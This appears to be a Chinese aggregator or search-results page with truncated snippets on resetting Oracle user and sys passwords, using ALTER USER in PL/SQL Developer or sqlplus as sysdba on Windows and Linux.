  • 安装PL\SQL,连接成功后在当前System用户登录的前提下打开Sql Window 输入 ALTER USER 用户名 IDENTIFIED BY 新口令(或新密码) 点击回车,就可以修改完成了。 或者直接用cmd命令 输入sqlplus "/ as sysdba&...
  • 修改Oracle sys口令

    2012-02-24 13:41:01
    转自:... window  sqlplus / as sysdba  alter user sys identified by password;  linux  切换到Oracle用户  su oracle  sqlplus /

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 14,879
精华内容 5,951
关键字:

window口令